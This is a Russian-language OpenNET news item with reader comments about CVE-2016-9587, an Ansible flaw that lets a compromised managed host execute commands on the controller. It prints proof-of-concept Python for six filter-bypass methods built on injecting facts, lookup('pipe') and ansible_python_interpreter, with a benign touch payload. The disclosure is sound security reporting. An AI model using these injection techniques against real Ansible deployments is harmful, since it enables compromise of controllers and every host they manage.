The OpenNET Project / Index page

[ новости/++ | форум | wiki | теги ]

12.01.2017 11:12  Серьёзная уязвимость в системе управления конфигурацией Ansible

В системе управления конфигурацией Ansible выявлена уязвимость (CVE-2016-9587), позволяющая организовать выполнение команд на стороне управляющего сервера Ansible (Controller) через манипуляции на подчинённых хостах. Например, в случае компрометации одного из клиентских серверов, конфигурация которого настраивается через Ansible, атакующие могут получить доступ к управляющему серверу и через него ко всем остальным управляемым через Ansible хостам сети. Проблема проявляется во всех выпусках Ansible и устранена в предварительных выпусках 2.1.4 и 2.2.1, которые пока имеют статус кандидатов в релизы. Исправление также доступно в виде патча.

Уязвимость связана с возможностью указания в числе возвращаемых клиентом атрибутов (Facts) операции lookup, позволяющей организовать выполнение кода, а также специальных атрибутов ansible_python_interpreter и ansible_connection, через которых можно передать код на языке Python и ссылку на хост для его выполнения. Атрибуты возвращаются клиентом в ответ на запрос от сервера и оформляются в формате JSON. Ansible пытается фильтровать опасные атрибуты, но исследователи нашли как минимум шесть способов для обхода имеющихся фильтров:


   PAYLOAD = "touch /tmp/foobarbaz"
   LOOKUP = "lookup('pipe', '%s')" % PAYLOAD
   INTERPRETER_FACTS = {
	'ansible_python_interpreter': '%s; cat > /dev/null; echo {}' % PAYLOAD,
	'ansible_connection': 'local',
	'ansible_become': False,
   }
Метод 1, подстановка атрибутов через передачу информации о новом хосте:

   data['add_host'] = {
    'host_name': socket.gethostname(),
    'host_vars': INTERPRETER_FACTS,
   }
Метод 2, через применение условных операторов:

   known_conditionals_str = """
   ansible_os_family == 'Debian'
   ansible_os_family == "Debian"
   ansible_os_family == 'RedHat'
   ansible_os_family == "RedHat"
   ansible_distribution == "CentOS"
   result|failed
   item > 5
   foo is defined
   """
   known_conditionals = [x.strip() for x in   known_conditionals_str.split('\n')]
   for known_conditional in known_conditionals:
       data['ansible_facts'][known_conditional] = LOOKUP
Метод 3, через подстановку в шаблоне для модуля stat:

   data.update({
       'stat': {
           'exists': True,
           'isdir': False,
           'checksum': {
               'rc': 0,
               'ansible_facts': INTERPRETER_FACTS,
           },
       }
   })
Метод 4, через подстановку шаблона с обходом экранирования при помощи синтаксиса jinja:

   data['ansible_facts'].update({
       'exploit_set_fact': True,
       'ansible_os_family':    "#jinja2:variable_start_string:'[[',variable_end_string:']]',block_start_string:'[%',block_end_string:'%]'\n{{}}\n[[ansible_host]][[lookup('pipe','"+PAYLOAD+"')]]",
})
Метод 5, через подстановку шаблона в словарных ключах:

   data['ansible_facts'].update({
       'exploit_set_fact': True,
       'ansible_os_family': { "{{ %s }}" % LOOKUP: ''},
   })

Метод 6, через подстановку шаблона с выполнением при помощи safe_eval:

   data['ansible_facts'].update({
       'exploit_set_fact': True,
       'ansible_os_family': """[ '{'*2 + "%s" + '}'*2 ]""" % LOOKUP,
   })


  1. Главная ссылка к новости (http://www.mail-archive.com/an...)
  2. OpenNews: Выпуск системы управления конфигурацией Ansible 2.2
  3. OpenNews: Компания Red Hat представила систему управления конфигурацией Ansible 2.1
  4. OpenNews: Выпуск системы управления конфигурацией Ansible 2.0
Лицензия: CC-BY
Тип: Проблемы безопасности
Ключевые слова: ansible
При перепечатке указание ссылки на opennet.ru обязательно
Обсуждение Линейный вид | Ajax | Показать все | RSS
 
  • 1.2, Клыкастый, 11:19, 12/01/2017 [ответить] [смотреть все]
  • +/
    знойная дырка
     
     
  • 2.54, Аноним, 07:27, 13/01/2017 [^] [ответить] [смотреть все] [показать ветку]
  • +/
    А говорили питон безопаснее пхп. А оказалось одинаково.
     
  • 1.5, anonymous, 12:19, 12/01/2017 [ответить] [смотреть все]
  • –2 +/
    А я ведь точно такую же новость читал совсем недавно. Про crush-report в убунте. На чужих ошибках учиться решительно не желаем!
     
     
  • 2.27, Аноним, 15:29, 12/01/2017 [^] [ответить] [смотреть все] [показать ветку]
  • +/
    Ansible принадлежит RedHat.
     
  • 1.11, rshadow, 13:13, 12/01/2017 [ответить] [смотреть все]
  • +4 +/
    На мобильнике эта новость за экран выползла (сижу на mobile.opennet.ru). Поправьте пожалуйста верстку.
     
     
  • 2.13, Аноним, 13:39, 12/01/2017 [^] [ответить] [смотреть все] [показать ветку]  
  • +15 +/
    Единственный комментарий, имеющий отношение к новости -)
     
     
  • 3.15, rshadow, 13:42, 12/01/2017 [^] [ответить] [смотреть все]  
  • +/
    :-)
     
  • 2.17, Аноним, 14:01, 12/01/2017 [^] [ответить] [смотреть все] [показать ветку]  
  • +6 +/
    У них нет CSS-разработчика и HTML архитектора.
     
  • 1.16, IB, 13:45, 12/01/2017 [ответить] [смотреть все]  
  • –5 +/
    Как будто никто не знал что это хипсторский мега-продукт Впрочем огород на ба... весь текст скрыт [показать]
     
     
  • 2.19, Аноним, 14:41, 12/01/2017 [^] [ответить] [смотреть все] [показать ветку]  
  • –2 +/
    Фишка огорода в том что его автоматическими способами сложно сломать, т к у к... весь текст скрыт [показать] [показать ветку]
     
     
  • 3.23, Crazy Alex, 14:50, 12/01/2017 [^] [ответить] [смотреть все]  
  • +4 +/
    Это вы здесь за проприетарщину и security by obscurity агитировать пытаетесь?
     
     
  • 4.26, Аноним, 15:00, 12/01/2017 [^] [ответить] [смотреть все]  
  • –2 +/
    Нет просто контр-аргумент ... весь текст скрыт [показать]
     
  • 3.24, rshadow, 14:50, 12/01/2017 [^] [ответить] [смотреть все]  
  • +/
    А потом окажется что кто-то отправил ссылку по почте в незашифрованном виде, а г... весь текст скрыт [показать]
     
     
  • 4.25, Аноним, 15:00, 12/01/2017 [^] [ответить] [смотреть все]  
  • +/
    И А там нестандартная админка, в ручную всё разбирают ... весь текст скрыт [показать]
     
  • 4.35, www2, 17:26, 12/01/2017 [^] [ответить] [смотреть все]  
  • +1 +/
    Всё проще - открыл в хроме и гугль уже запустил по этой ссылке своих ботов для п... весь текст скрыт [показать]
     
     
  • 5.36, Аноним, 17:31, 12/01/2017 [^] [ответить] [смотреть все]  
  • +/
    Да даже если бы это было правдой, какова вероятность что кто-то зайдёт по ней и ... весь текст скрыт [показать]
     
     
  • 6.47, Аноним, 22:45, 12/01/2017 [^] [ответить] [смотреть все]  
  • +/
    Я бы не стал надеяться на то, что кто-то что-то не найдёт хоть на тысячной стран... весь текст скрыт [показать]
     
  • 4.40, Аноним84701, 18:56, 12/01/2017 [^] [ответить] [смотреть все]  
  • +/
    Если по скайпу, то не где-то http www h-online com security news item Sky... весь текст скрыт [показать]
     
  • 3.43, Ъ, 21:42, 12/01/2017 [^] [ответить] [смотреть все]  
  • +/
    А потом однажды обнаруживается, что подобный суперсекретный путь проиндексировал... весь текст скрыт [показать]
     
  • 2.49, Led, 00:53, 13/01/2017 [^] [ответить] [смотреть все] [показать ветку]  
  • +1 +/
    Ну, огороднику виднее ... весь текст скрыт [показать] [показать ветку]
     
     
  • 3.52, Аноним, 06:37, 13/01/2017 [^] [ответить] [смотреть все]  
  • –1 +/
    А что, садоводы уже вынесли у себя третий баш, чтобы над огородниками стебаться ... весь текст скрыт [показать]
     
  • 1.20, csa, 14:48, 12/01/2017 [ответить] [смотреть все]  
  • +1 +/
    # ansible --version
    ansible 2.1.1.0

    запускает такую команду:
    ssh -C -q -o ControlMaster=auto -o ControlPersist=60s \
      -o KbdInteractiveAuthentication=no \
      -o PreferredAuthentications=gssapi-with-mic,gssapi-keyex,hostbased,publickey \
      -o PasswordAuthentication=no -o ConnectTimeout=10 \
      -o ControlPath=/home/user/.ansible/cp/ansible-ssh-%h-%p-%r \
      -tt \
      <hostname> /bin/sh -c '....'

    -o ForwardAgent=no я там не вижу, а значит как только админ с ForwardAgent=yes в конфиге ssh зайдет на инфицированный хост - все хосты, куда подходит его ключ, будут доступны

     
     
  • 2.22, csa, 14:50, 12/01/2017 [^] [ответить] [смотреть все] [показать ветку]  
  • +/
    хихи, как подсказывают коллеги, и отключить-то не всегда можно, особенно когда н... весь текст скрыт [показать] [показать ветку]
     
  • 2.28, nemo, 15:37, 12/01/2017 [^] [ответить] [смотреть все] [показать ветку]  
  • –3 +/
    Админ с ForwardAgent yes в конфиге ssh -- это либо лентяй, либо суицидальник при... весь текст скрыт [показать] [показать ветку]
     
     
  • 3.38, angra, 18:31, 12/01/2017 [^] [ответить] [смотреть все]  
  • +5 +/
    Либо понимает как это работает, какие потенциальные риски несет и как их избежат... весь текст скрыт [показать]
     
  • 3.42, anonymous, 20:53, 12/01/2017 [^] [ответить] [смотреть все]  
  • +/
    А каким ещё образом можно использовать бастион-хост Не, ну можно держать запаро... весь текст скрыт [показать]
     
     
  • 4.48, solardiz, 23:58, 12/01/2017 [^] [ответить] [смотреть все]  
  • +/
    Вот таким http openwall info wiki internal ssh How-to-access-intranet-servers... весь текст скрыт [показать]
     
     
  • 5.55, Аноним, 10:41, 13/01/2017 [^] [ответить] [смотреть все]  
  • +1 +/
    Это хреновый способ, т к надо вручную пробрасывать порты, что довольно геморно ... весь текст скрыт [показать]
     
     
  • 6.56, solardiz, 23:57, 14/01/2017 [^] [ответить] [смотреть все]  
  • +/
    Спасибо, хорошее описание, особенно начиная с https en wikibooks org wiki Open... весь текст скрыт [показать]
     
  • 3.46, Аноним, 22:41, 12/01/2017 [^] [ответить] [смотреть все]  
  • +1 +/
    grep -i forwardagent yes ssh config 124 wc -l 14 Приезжай в любое вре... весь текст скрыт [показать]
     
  • 2.34, анонимус вульгарис, 17:04, 12/01/2017 [^] [ответить] [смотреть все] [показать ветку]  
  • +/
    Багрепорт-то отправил, умник?
     
  • 1.31, анонимус вульгарис, 16:22, 12/01/2017 [ответить] [смотреть все]  
  • +/
    Эта штука написана таким образом, чтобы интерпретировать всё подряд как код. Чему тут удивляться. Впрочем, это вполне в традициях python way.
     

     Добавить комментарий
    Имя:
    E-Mail:
    Заголовок:
    Текст:


      Закладки на сайте
      Проследить за страницей
    Created 1996-2017 by Maxim Chirkov  
    ДобавитьРекламаВебмастеруГИД  
    Hosting by Ihor TopList